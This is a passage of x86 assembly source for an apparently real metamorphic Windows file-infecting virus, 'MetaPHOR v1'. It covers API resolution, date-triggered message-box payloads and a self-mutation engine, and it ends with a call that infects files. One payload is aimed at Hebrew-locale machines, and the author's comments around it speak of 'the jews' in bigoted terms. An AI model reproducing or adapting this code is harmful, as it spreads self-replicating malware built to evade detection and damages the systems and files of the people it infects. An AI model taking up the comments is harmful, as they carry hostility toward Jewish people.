jz @@Error
|
|
mov [ebp+RVA_GetDriveTypeA], eax
|
|
|
|
mov eax, 'igoL'
|
|
mov [edx+3], eax
|
|
mov eax, 'Dlac'
|
|
mov [edx+7], eax
|
|
mov eax, 'evir'
|
|
mov [edx+0Bh], eax
|
|
mov eax, 'irtS'
|
|
mov [edx+0Fh], eax
|
|
mov eax, 'Asgn'
|
|
mov [edx+13h], eax
|
|
xor eax, eax
|
|
mov [edx+17h], eax
|
|
call GetFunction ; Get GetLogicalDriveStringsA
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetLogicalDriveStringsA], eax
|
|
|
|
mov eax, 'tsyS'
|
|
mov [edx+3], eax
|
|
mov eax, 'eDme'
|
|
mov [edx+7], eax
|
|
mov eax, 'luaf'
|
|
mov [edx+0Bh], eax
|
|
mov eax, 'ICLt'
|
|
mov [edx+0Fh], eax
|
|
mov eax, 'D'
|
|
mov [edx+13h], eax
|
|
call GetFunction ; Get GetSystemDefaultLCID
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetSystemDefaultLCID], eax
|
|
|
|
mov eax, 'CteS'
|
|
mov [edx], eax
|
|
mov eax, 'erru'
|
|
mov [edx+4], eax
|
|
mov eax, 'iDtn'
|
|
mov [edx+8], eax
|
|
mov eax, 'tcer'
|
|
mov [edx+0Ch], eax
|
|
mov eax, 'Ayro'
|
|
mov [edx+10h], eax
|
|
xor eax, eax
|
|
mov [edx+14h], eax
|
|
call GetFunction ; Get SetCurrentDirectoryA
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetCurrentDirectoryA], eax
|
|
|
|
mov eax, 'FteG'
|
|
mov [edx], eax
|
|
mov eax, 'Seli'
|
|
mov [edx+4], eax
|
|
mov eax, 'ezi'
|
|
mov [edx+8], eax
|
|
call GetFunction ; Get GetFileSize
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetFileSize], eax
|
|
|
|
mov eax, 'rttA'
|
|
mov [edx+7], eax
|
|
mov eax, 'tubi'
|
|
mov [edx+0Bh], eax
|
|
mov eax, 'Ase'
|
|
mov [edx+0Fh], eax
|
|
call GetFunction ; Get GetFileAttributesA
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetFileAttributesA], eax
|
|
|
|
mov eax, 'FteS'
|
|
mov [edx], eax
|
|
call GetFunction ; Get SetFileAttributesA
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetFileAttributesA], eax
|
|
|
|
mov eax, 'nioP'
|
|
mov [edx+7], eax
|
|
mov eax, 'ret'
|
|
mov [edx+0Bh], eax
|
|
call GetFunction ; Get SetFilePointer
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetFilePointer], eax
|
|
|
|
mov eax, 'emiT'
|
|
mov [edx+7], eax
|
|
xor eax, eax
|
|
mov [edx+0Bh], eax
|
|
call GetFunction ; Get SetFileTime
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetFileTime], eax
|
|
|
|
mov eax, 'OdnE'
|
|
mov [edx+3], eax
|
|
mov eax, 'liFf'
|
|
mov [edx+7], eax
|
|
mov eax, 'e'
|
|
mov [edx+0Bh], eax
|
|
call GetFunction ; Get SetEndOfFile
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetEndOfFile], eax
|
|
|
|
mov eax, 'dniF'
|
|
mov [edx], eax
|
|
mov eax, 'sriF'
|
|
mov [edx+4], eax
|
|
mov eax, 'liFt'
|
|
mov [edx+8], eax
|
|
mov eax, 'Ae'
|
|
mov [edx+0Ch], eax
|
|
call GetFunction ; Get FindFirstFileA
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_FindFirstFileA], eax
|
|
|
|
mov eax, 'txeN'
|
|
mov [edx+4], eax
|
|
mov eax, 'eliF'
|
|
mov [edx+8], eax
|
|
mov eax, 'A'
|
|
mov [edx+0Ch], eax
|
|
call GetFunction ; Get FindNextFileA
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_FindNextFileA], eax
|
|
|
|
mov eax, 'solC'
|
|
mov [edx+4], eax
|
|
mov eax, 'e'
|
|
mov [edx+8], eax
|
|
call GetFunction ; Get FindClose
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_FindClose], eax
|
|
|
|
add edx, 4
|
|
mov eax, 'dnaH'
|
|
mov [edx+5], eax
|
|
mov eax, 'el'
|
|
mov [edx+9], eax
|
|
call GetFunction ; Get CloseHandle
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_CloseHandle], eax
|
|
|
|
sub edx, 4
|
|
mov edi, [ebp+hUser32] ; Maybe NULL, but it's allowed by
|
|
mov eax, 'sseM' ; GetProcAddress
|
|
mov [edx], eax
|
|
mov eax, 'Bega'
|
|
mov [edx+4], eax
|
|
mov eax, 'Axo'
|
|
mov [edx+8], eax
|
|
call GetFunction ; Get MessageBoxA (from User32.DLL)
|
|
mov [ebp+RVA_MessageBoxA], eax ; 0 if not found or library
|
|
; not loaded
|
|
|
|
;; Let's initialize the random seed
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetSystemTime]
|
|
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov ebx, [ebp+_BUFFER1_SECTION]
|
|
add ebx, ebp
|
|
mov eax, [ebx+04h]
|
|
add eax, [ebx+0Ch]
|
|
mov [ebp+RndSeed1], eax
|
|
add eax, [ebx+08h]
|
|
mov [ebp+RndSeed2], eax
|
|
|
|
call Random
|
|
call Random ; Garble it a little
|
|
|
|
;; Now let's make some mixtures in the weights. Since the weights are
|
|
;; going to be hardcoded on the virus code before its use, we make here
|
|
;; some "garblement" to force the evolution of the infection methods. With
|
|
;; this, only the most powerful features will "survive".
|
|
|
|
xor ecx, ecx
|
|
@@LoopGarbleWeights:
|
|
push ecx
|
|
and ecx, 3
|
|
mov eax, ecx
|
|
call RandomBoolean_X000_3
|
|
mov eax, ecx
|
|
call RandomBoolean_X004_7
|
|
mov eax, ecx
|
|
call RandomBoolean_X008_11
|
|
mov eax, ecx
|
|
call RandomBoolean_X012_15
|
|
mov eax, ecx
|
|
call RandomBoolean_X016_19
|
|
mov eax, ecx
|
|
call RandomBoolean_X020_23
|
|
pop ecx
|
|
add ecx, 1
|
|
cmp ecx, 40h
|
|
jnz @@LoopGarbleWeights
|
|
|
|
|
|
mov eax, [ebp+RVA_MessageBoxA]
|
|
or eax, eax
|
|
jz @@NoPayload ; If we couldn't retrieve MessageBoxA,
|
|
; skip the payload
|
|
|
|
;; Payload
|
|
;;---------
|
|
;; Simple, silly MessageBox with a metamorphic message :)
|
|
;; The message is "MetaPHOR v1 by The Mental Driller/29A" but selecting
|
|
;; randomly the case of all letters.
|
|
|
|
mov edx, [ebp+_BUFFER1_SECTION]
|
|
add edx, ebp
|
|
mov eax, [edx+2]
|
|
and eax, 0FFh
|
|
cmp eax, 3 ; Month: March, June, September or
|
|
jz @@Payload_Month ; December
|
|
cmp eax, 6
|
|
jz @@Payload_Month
|
|
cmp eax, 9
|
|
jz @@Payload_Month
|
|
cmp eax, 0Ch
|
|
jnz @@CheckPayload2
|
|
@@Payload_Month:
|
|
mov eax, [edx+6]
|
|
and eax, 0FFh
|
|
cmp eax, 11h ; Day: 17
|
|
jnz @@CheckPayload2
|
|
|
|
push edx
|
|
call Random
|
|
and eax, 20202020h ;; All the phrase is:
|
|
add eax, 'ATEM' ;; "META"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'ROHP' ;; "PHOR"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00200000h
|
|
add eax, ' B1 ' ;; " v1 "
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20002020h
|
|
add eax, 'T YB' ;; "BY T"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20002020h
|
|
add eax, 'M EH' ;; "HE M"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'ATNE' ;; "ENTA"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20200020h
|
|
add eax, 'RD L' ;; "L DR"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'ELLI' ;; "ILLE"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00000020h
|
|
add eax, '92/R' ;; "R/29"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 0FFFF0020h
|
|
add eax, 'A' ;; "A"
|
|
mov [edx], eax
|
|
pop edx
|
|
; "METAPHOR v1 BY THE MENTAL DRILLER/29A"
|
|
push eax ; with random upcases and lowcases.
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
xor eax, eax
|
|
push eax
|
|
mov eax, edx
|
|
push eax
|
|
push eax
|
|
xor eax, eax
|
|
push eax
|
|
call dword ptr [ebp+RVA_MessageBoxA]
|
|
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
jmp @@EndPayload
|
|
|
|
|
|
; Not so-silly 2nd part of the payload.
|
|
; We get the system language and, if it's hebrew, we show a message box with
|
|
; the message "Free Palestine!", my little contribution against the illegal
|
|
; occupation performed by the jews and supported by EEUU. The message will
|
|
; show on 14 May, the day that the state of Israel was declarated.
|
|
; Notice that I'm not supporting organizations like Hamas or shit like that,
|
|
; but it's true that jews began the war stealing the Palestinian home to
|
|
; the Palestinian People. Anyway, killing people is not the solution
|
|
; (wherever the side of the conflict they are in).
|
|
|
|
|
|
@@CheckPayload2:
|
|
mov eax, [edx+2]
|
|
and eax, 0FFh
|
|
cmp eax, 5 ; May
|
|
jnz @@NoPayload
|
|
mov eax, [edx+6]
|
|
and eax, 0FFh
|
|
cmp eax, 0Eh ; 14th
|
|
jnz @@NoPayload
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
call dword ptr [ebp+RVA_GetSystemDefaultLCID]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
and eax, 0FFFFh
|
|
cmp eax, 040Dh ; System language: hebrew?
|
|
jnz @@NoPayload
|
|
|
|
|
|
push edx
|
|
mov eax, 'eerF'
|
|
mov [edx], eax
|
|
add edx, 4
|
|
mov eax, 'laP '
|
|
mov [edx], eax
|
|
add edx, 4
|
|
mov eax, 'itse'
|
|
mov [edx], eax
|
|
add edx, 4
|
|
mov eax, '!en' ; Show our disconformity with jewish
|
|
mov [edx], eax ; invasion of Palestine and all their
|
|
pop edx ; fascist acting up to date (in a
|
|
; peaceful way)
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
xor eax, eax
|
|
push eax
|
|
mov eax, edx
|
|
push eax
|
|
push eax
|
|
xor eax, eax
|
|
push eax
|
|
call dword ptr [ebp+RVA_MessageBoxA]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
@@EndPayload:
|
|
@@NoPayload:
|
|
|
|
|
|
;; Now we are going to get random frames for variables, dissasembly, etc. for
|
|
;; the next generation usage. These variables must be passed "from the
|
|
;; outside" (as parameters from the loader/decryptor).
|
|
;;
|
|
;; Sizes of frames:
|
|
;; CODE_SECTION = 80000h
|
|
;; DISASM_SECTION = 100000h
|
|
;; LABEL_SECTION = 10000h +
|
|
;; VARIABLE_SECTION = 10000h +
|
|
;; BUFFER1_SECTION = 10000h +
|
|
;; BUFFER2_SECTION = 10000h +
|
|
;; VAR_MARKS_SECTION = 20000h =
|
|
;; BUFFERS_SECTION = 60000h
|
|
;; DATA_SECTION = 20000h
|
|
;; DISASM2_SECTION = 100000h
|
|
;; -----------
|
|
;; 300000h
|
|
;; We always reserve 3'4 Mb of virtual memory at least, so we can add a random
|
|
;; shifting up to 256 Kb (40000h bytes)
|
|
|
|
mov esi, [ebp+_DISASM_SECTION]
|
|
add esi, ebp
|
|
xor eax, eax ; Let's fabricate a random permutation of
|
|
push esi ; the sequence 0,1,2,3,4,5.
|
|
@@LoopGarbleSect_01:
|
|
mov ebx, eax
|
|
add eax, 1
|
|
mov ecx, eax
|
|
add eax, 1
|
|
mov edx, eax
|
|
add eax, 1
|
|
push eax
|
|
call Xp_GarbleRegisters ; Garble EBX, ECX and EDX
|
|
pop eax
|
|
mov [esi], ebx
|
|
mov [esi+4], ecx
|
|
mov [esi+8], edx ; Store the garbled sequence
|
|
add esi, 0Ch
|
|
cmp eax, 6
|
|
jnz @@LoopGarbleSect_01 ; Repeat it again (get 4,5,6)
|
|
|
|
pop esi
|
|
push esi
|
|
mov ecx, 2 ; Now garble the <0,1,2> with the <3,4,5>
|
|
@@LoopGarbleSect_02:
|
|
push ecx
|
|
mov ebx, [esi] ; Get value at position 0,2,4 and
|
|
mov ecx, [esi+08h] ; garble it
|
|
mov edx, [esi+10h]
|
|
call Xp_GarbleRegisters
|
|
mov [esi], ebx
|
|
mov [esi+08h], ecx
|
|
mov [esi+10h], edx ; Store the shuffling
|
|
pop ecx
|
|
add esi, 4
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopGarbleSect_02 ; Make it with positions 1,3,5
|
|
pop esi
|
|
|
|
mov ecx, 6
|
|
xor edx, edx ; Initialize adder
|
|
@@LoopGarbleSect_03:
|
|
call Random
|
|
and eax, 7FFFh ; *5 = 40000h ; Add a random shifting
|
|
add edx, eax
|
|
|
|
mov eax, [esi]
|
|
or eax, eax ; 0?
|
|
jz @@GarbleSect_CodeSection ; Then set CODE_SECTION address
|
|
cmp eax, 1 ; 1?
|
|
jz @@GarbleSect_DisasmSection ; Then, DISASM_SECTION
|
|
cmp eax, 2
|
|
jz @@GarbleSect_BuffersSection ; 2: BUFFERS_SECTION
|
|
cmp eax, 3
|
|
jz @@GarbleSect_DataSection ; 3: DATA_SECTION
|
|
cmp eax, 4
|
|
jnz @@GarbleSect_Next ; 4: DISASM2_SECTION
|
|
@@GarbleSect_Disasm2Section:
|
|
mov [ebp+New_DISASM2_SECTION], edx
|
|
add edx, 100000h ; Add size of section to adder
|
|
jmp @@GarbleSect_Next
|
|
@@GarbleSect_CodeSection:
|
|
mov [ebp+New_CODE_SECTION], edx
|
|
add edx, 80000h ; Add size of section to adder
|
|
jmp @@GarbleSect_Next
|
|
@@GarbleSect_DisasmSection:
|
|
mov [ebp+New_DISASM_SECTION], edx
|
|
add edx, 100000h ; Add size of section to adder
|
|
jmp @@GarbleSect_Next
|
|
@@GarbleSect_BuffersSection:
|
|
mov [ebp+New_BUFFERS_SECTION], edx
|
|
add edx, 60000h ; Add size of section to adder
|
|
jmp @@GarbleSect_Next
|
|
@@GarbleSect_DataSection:
|
|
mov [ebp+New_DATA_SECTION], edx
|
|
add edx, 20000h ; Add size of section to adder
|
|
@@GarbleSect_Next:
|
|
add esi, 4
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopGarbleSect_03
|
|
|
|
|
|
;; Now we can start with the selfmutation
|
|
|
|
;; Disassembler:
|
|
;;
|
|
;; It disassembles the code starting at ESI (entrypoint) to a pseudoassembler
|
|
;; that is easier to handle. This pseudoassembler will be used along the
|
|
;; mutation instead of the direct machine code.
|
|
|
|
mov eax, [ebp+_DISASM_SECTION]
|
|
add eax, ebp ; Set the address of
|
|
mov [ebp+InstructionTable], eax ; the instruction table
|
|
mov eax, [ebp+_LABEL_SECTION]
|
|
add eax, ebp ; Address of the label
|
|
mov [ebp+LabelTable], eax ; table
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp ; Temporary table for the
|
|
mov [ebp+FutureLabelTable], eax ; storadge of labels
|
|
mov eax, [ebp+_DISASM2_SECTION]
|
|
add eax, ebp ; Temporary buffer to mark
|
|
mov [ebp+PathMarksTable], eax ; the path of the code
|
|
|
|
mov esi, [ebp+_CODE_SECTION]
|
|
add esi, ebp ; ESI = Start of code
|
|
call DisasmCode ; Disassemble the code
|
|
nop ; NOP for debugging: Place for the debugger to put the
|
|
; INT 3. It will be eliminated by the disassembler,
|
|
; since all the one-byte instructions such CLC, INT 3,
|
|
; etc. are NOPed
|
|
; It returns EDI = Address of last instruction
|
|
|
|
mov [ebp+AddressOfLastInstruction], edi ; Set last instr.
|
|
|
|
|
|
;; Shrinker
|
|
;;
|
|
;; It compresses all the redundancies and obfuscations that the expander did
|
|
;; in previous generations.
|
|
|
|
call ShrinkCode ; Compress the code
|
|
|
|
;; Variable identificator:
|
|
;;
|
|
;; It scans the code to get instructions that use memory addresses and then
|
|
;; it converts them to a reference to a table of variables. After this, we
|
|
;; reselect the addresses of the variables.
|
|
|
|
mov eax, [ebp+_VARIABLE_SECTION]
|
|
add eax, ebp ; Set the address to the
|
|
mov [ebp+VariableTable], eax ; table of variables
|
|
mov eax, [ebp+_VAR_MARKS_SECTION]
|
|
add eax, ebp ; Set the buffer that marks
|
|
mov [ebp+VarMarksTable], eax ; the variables positions
|
|
; to know if a given address
|
|
; is already in the table
|
|
; or it's a free address
|
|
mov ecx, [ebp+DeltaRegister] ; The delta register is used
|
|
; to know what is an internal
|
|
; variable and what's not
|
|
call IdentifyVariables ; Identfy them and construct the
|
|
; table of variables
|
|
|
|
;; Code permutator
|
|
;;
|
|
;; It shuffles the code and insert jumps between to link the moved blocks,
|
|
;; updating also all the labels to point to the new location.
|
|
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp ; Temporary buffer to construct
|
|
mov [ebp+FramesTable], eax ; the permutation frames
|
|
mov eax, [ebp+_DISASM2_SECTION]
|
|
add eax, ebp ; Place where we store
|
|
mov [ebp+PermutationResult], eax ; the permutated code
|
|
mov eax, [ebp+_BUFFER2_SECTION]
|
|
add eax, ebp ; Buffer to store jumps to fix
|
|
mov [ebp+JumpsTable], eax ; while permutating
|
|
call PermutateCode
|
|
; Permutate the code (in pseudoassembler)
|
|
|
|
; Returns [AddressOfLastInstruction] updated to point to the
|
|
; last instruction + 10h in [PermutationResult] address
|
|
mov eax, [ebp+PermutationResult]
|
|
mov [ebp+InstructionTable], eax ; Set the new instr. table
|
|
|
|
;; Code expander
|
|
;;
|
|
;; It generates alternatives for every instruction coded in our pseudo-ASM.
|
|
;; It's generated in a way that we only have to code every instruction
|
|
;; directly to have a very different look of the previous program, but keeping
|
|
;; the functionality unchanged. It also translates all registers into new
|
|
;; ones (except ESP, of course).
|
|
|
|
xor eax, eax ; Tell the expander that
|
|
mov [ebp+CreatingADecryptor], eax ; we are mutating the
|
|
; virus body
|
|
mov eax, [ebp+_DISASM_SECTION]
|
|
add eax, ebp ; Set the destiny address of the
|
|
mov [ebp+ExpansionResult], eax ; expansion/obfuscation
|
|
xor eax, eax ; Set the recursivity
|
|
mov [ebp+SizeOfExpansion], eax ; to 3 (from 0 to 3)
|
|
call XpandCode ; Redo all instructions
|
|
|
|
; Returns [AddressOfLastInstruction] updated
|
|
|
|
;; Code assembler
|
|
;;
|
|
;; It assembles the code previously obfuscated and expanded by the expander
|
|
|
|
mov eax, [ebp+ExpansionResult]
|
|
mov [ebp+InstructionTable], eax ; _DISASM_SECTION
|
|
mov eax, [ebp+_DISASM2_SECTION]
|
|
add eax, ebp ; Set the address where
|
|
mov [ebp+NewAssembledCode], eax ; the reassembling result
|
|
; will be stored
|
|
mov eax, [ebp+_VARIABLE_SECTION]
|
|
add eax, ebp ; Use this address for
|
|
mov [ebp+NewLabelTable], eax ; temporary storadge
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp ; Another buffer for
|
|
mov [ebp+JumpRelocationTable], eax ; temporary storadge
|
|
call AssembleCode ; Convert the code to x86
|
|
|
|
;; Here we have:
|
|
;; [NewAssembledCode] = _DISASM2_SECTION = New code
|
|
;; [SizeOfNewCode] = Size of new code (oh, no! really??? :)
|
|
;; [RoundedSizeOfNewCode] = Size of new code rounded to pages (4 Kb)
|
|
;; From now, every section is free except CODE_SECTION, DATA_SECTION and
|
|
;; DISASM2_SECTION.
|
|
|
|
;; Now let's make the action that gives this program the attribute of a
|
|
;; computer virus: INFECT
|
|
|
|
mov eax, [ebp+_DISASM_SECTION]
|
|
add eax, ebp ; Code the decryptor
|
|
mov [ebp+DecryptorPseudoCode], eax ; here in pseudo-asm
|
|
add eax, 80000h
|
|
mov [ebp+AssembledDecryptor], eax ; Assemble it here
|
|
|
|
mov eax, [ebp+_BUFFER2_SECTION]
|
|
add eax, ebp ; Temporary buffer for the
|
|
mov [ebp+FindFileData], eax ; FindFile functions
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp ; Buffer for several
|
|
mov [ebp+OtherBuffers], eax ; actions
|
|
call InfectFiles ; Infect!
|
|
@@Error:
|
|
ret ; Return to the host and finish
|
|
Main endp
|
|
|
|
;; Function to get the address of the module passed in ASCII. It will convert
|
|
;; the string to UNICODE if the GetModuleHandle function is GetModuleHandleW.
|
|
|
|
APICall_GetModuleHandle proc
|
|
mov eax, [ebp+FlagAorW] ; Get A or W
|
|
or eax, eax ; A?
|
|
jz @@UseGMHA ; Then, use the string as is
|
|
mov ebx, edx
|
|
add ebx, 20h ; Go to the end of the string buffer (W)
|
|
mov ebx, edx
|
|
add ecx, 10h ; Go to the end of the string buffer (A)
|
|
@@LoopConvertToWideChar:
|
|
mov eax, [ecx] ; Get a letter
|
|
and eax, 0FFh ; Make it zero-extended (in words)
|
|
mov [ebx], eax ; Store it
|
|
sub ecx, 1 ; Decrease the ASCII address in 1
|
|
sub ebx, 2 ; Decrease the UNICODE address in 2
|
|
cmp ecx, edx ; Are we at the end of the buffer
|
|
jnz @@LoopConvertToWideChar ; If not, loop again
|
|
@@UseGMHA: push edx ; Store parameter
|
|
call dword ptr [ebp+RVA_GetModuleHandle] ; Call the API
|
|
mov [ebp+ReturnValue], eax ; Store the module handle
|
|
ret
|
|
APICall_GetModuleHandle endp
|
|
|
|
; EDI = Handle of module
|
|
; EDX = Buffer where we have the function name
|
|
GetFunction proc
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, edx ; We do this to avoid many continuous PUSHes
|
|
push eax ; Store function name and module handle
|
|
mov eax, edi
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetProcAddress] ; Call API
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
mov eax, [ebp+ReturnValue] ; Get the function address
|
|
ret
|
|
GetFunction endp
|
|
|
|
;; KEYWORD: Key_!Disassembler
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;; *********************************************************************** ;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; The disassembler
|
|
;; ----------------
|
|
;;
|
|
;; The disassembler is the module that converts the machine code into our
|
|
;; pseudo-assembler in the addresses we gave it.
|
|
;;
|
|
;; The codification of every instruction of the generated pseudo-assembler
|
|
;; is as follows (extracted from the article I wrote about metamorphism and
|
|
;; this engine):
|
|
;;
|
|
;; ---------------------------------------------------------------------------
|
|
;;
|
|
;; The MetaPHOR internal pseudo-assembler follows the next rules:
|
|
;;
|
|
;; a) All the instructions are 16-bytes long (but this can change in the
|
|
;; future to handle 64-bits processors, like the Itanium).
|
|
;;
|
|
;; b) The structure of the instruction is always the same for all them:
|
|
;;
|
|
;; General structure:
|
|
;;
|
|
;; 16 bytes per instruction,
|
|
;;
|
|
;; 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
;; OP *----- instruction data ----* LM *-pointer-*
|
|
;;
|
|
;; OP is the opcode of the instruction. Depending on the opcode we use
|
|
;; an instruction data structure or other.
|
|
;;
|
|
;; LM is "Label Mark". Its value is 1 when a label is pointing to this
|
|
;; instruction, and can be used for quite things, for example to know
|
|
;; if two instructions can be shrinked or not (they can't if the second
|
|
;; one has a label over it). It's at +0B in the instruction.
|
|
;;
|
|
;; The dword at +0C is a pointer that means "last code reference". On
|
|
;; disassembly this means the EIP where this instruction is pointing to
|
|
;; its original codification, but while we are advancing in the code
|
|
;; treatment we store here references to the last situation of the
|
|
;; instruction. This helps to make modifications to the table of labels,
|
|
;; to recode the displacement instructions (JMP, CALL, etc.) and more.
|
|
;;
|
|
;;
|
|
;; Now the structures that the engine uses in the instructions:
|
|
;;
|
|
;; Memory_address_struct:
|
|
;; +01: First index
|
|
;; +02: Second index, bits 7&6 are the multiplicator (00=*1,01=*2,
|
|
;; 10=*4,11=*8)
|
|
;; +03: DWORD addition to indexes
|
|
;;
|
|
;;
|
|
;;
|
|
;; Depending on the opcode (the operation to perform), the following
|
|
;; means:
|
|
;;
|
|
;; - If operation has no operand (NOP, RET, etc). nothing in the instr.
|
|
;; data is performed
|
|
;;
|
|
;; - If operation has one operand:
|
|
;;
|
|
;; Register operand:
|
|
;; +01: Register
|
|
;;
|
|
;; Memory address:
|
|
;; +01: Memory address struct
|
|
;;
|
|
;; Immediate value:
|
|
;; +07: DWORD value, zero extended if it's a byte operation
|
|
;;
|
|
;; Destiny address (JMP, CALL, etc.)
|
|
;; +01: Label to jump to (DWORD)
|
|
;;
|
|
;; - If operation has two operands:
|
|
;;
|
|
;; Reg,Imm:
|
|
;; +01: Register
|
|
;; +07: DWORD immediate value, zero extended if it's a 8-bits op.
|
|
;;
|
|
;; Reg,Reg:
|
|
;; +01: Source register
|
|
;; +07: Destiny register
|
|
;;
|
|
;; Reg,Mem:
|
|
;; +01: Memory address struct
|
|
;; +07: Destiny register
|
|
;;
|
|
;; Mem,Reg:
|
|
;; +01: Memory address struct
|
|
;; +07: Source register
|
|
;;
|
|
;; Mem,Imm:
|
|
;; +01: Memory address struct
|
|
;; +07: DWORD immediate value, zero extended if it's a 8-bits op.
|
|
;;
|
|
;;
|
|
;; From this rules, now we use the next pseudo-opcodes:
|
|
;;
|
|
;; 00: ADD, 08: OR, 20: AND, 28: SUB, 30: XOR, 38: CMP, 40: MOV, 48: TEST
|
|
;;
|
|
;; Set rules: +00: Reg,Imm
|
|
;; +01: Reg,Reg
|
|
;; +02: Reg,Mem
|
|
;; +03: Mem,Reg
|
|
;; +04: Mem,Imm
|
|
;; +80: 8 bits operation
|
|
;;
|
|
;; So, opcode 83 means ADD Mem,Reg using 8-bits operands, and so on.
|
|
;;
|
|
;; 50: PUSH Reg
|
|
;; 51: PUSH Mem
|
|
;; 58: POP Reg
|
|
;; 59: POP Mem
|
|
;; 68: PUSH Imm
|
|
;; 70-7F: Conditional jumps
|
|
;; E0: NOT Reg
|
|
;; E1: NOT Mem
|
|
;; E2: NOT Reg8
|
|
;; E3: NOT Mem8
|
|
;; E4: NEG Reg
|
|
;; E5: NEG Mem
|
|
;; E6: NEG Reg8
|
|
;; E7: NEG Mem8
|
|
;; E8: CALL label
|
|
;; E9: JMP label
|
|
;; EA: CALL Mem (used for API calls)
|
|
;; EB: JMP Mem (used for obfuscation in API calls)
|
|
;; EC: CALL Reg (obfuscation of API calls)
|
|
;; ED: JMP Reg (idem)
|
|
;;
|
|
;; F0: SHIFT Reg,Imm
|
|
;; F1: SHIFT Mem,Imm
|
|
;; F2: SHIFT Reg8,Imm
|
|
;; F3: SHIFT Mem8,Imm
|
|
;; For all SHIFTs:
|
|
;; +07: Byte with the value of rotation/shifting
|
|
;; +08: Operation performed: 0: ROL, 8: ROR, 20: SHL, 28: SHR
|
|
;; F4: APICALL_BEGIN
|
|
;; Special operation meaning PUSH EAX/PUSH ECX/PUSH EDX that avoids
|
|
;; the recoding of these registers, always remaining the same.
|
|
;; F5: APICALL_END
|
|
;; The complementary of APICALL_BEGIN, it means POP EDX/POP ECX/POP EAX
|
|
;; F6: APICALL_STORE
|
|
;; +01: Memory address struct
|
|
;; This always means: MOV [Mem],EAX <-- Avoiding the recoding of EAX
|
|
;; F7: SET_WEIGHT
|
|
;; +01: Memory address struct
|
|
;; +07: Weight item identificator
|
|
;; +08: Register 1
|
|
;; +09: Register 2
|
|
;; F8: MOVZX
|
|
;; Memory address struct is a 8-bits operand, while +07 is a 32 bit reg.
|
|
;; FC: LEA
|
|
;; FE: RET
|
|
;; FF: NOP
|
|
;; ---------------------------------------------------------------------------
|
|
;;
|
|
;; The decodification, as you will see, it's not arbitrary, I mean, there
|
|
;; is a reason for every format of decodification in every instruction.
|
|
;; Although many times the format is in that way due to thinking on simplicity,
|
|
;; other times I changed the format to make code reduction easier.
|
|
|
|
;; ESI = Start of code to dissasemble
|
|
DisasmCode proc
|
|
xor eax, eax
|
|
mov [ebp+NumberOfLabels], eax ; Initialize the number of
|
|
mov [ebp+NumberOfLabelsPost], eax ; labels and the number
|
|
; of buffered labels
|
|
mov ecx, 80000h/4 ; Initialize the path marks
|
|
mov edi, [ebp+PathMarksTable]
|
|
xor eax, eax
|
|
@@LoopInitializePathTable:
|
|
mov [edi], eax ; Fill all the buffers with 0
|
|
add edi, 4
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopInitializePathTable
|
|
|
|
mov edi, [ebp+InstructionTable]
|
|
|
|
;; Let's disassemble the given code address (ESI) into the buffer where we
|
|
;;construct the whole code in pseudoassembler (EDI)
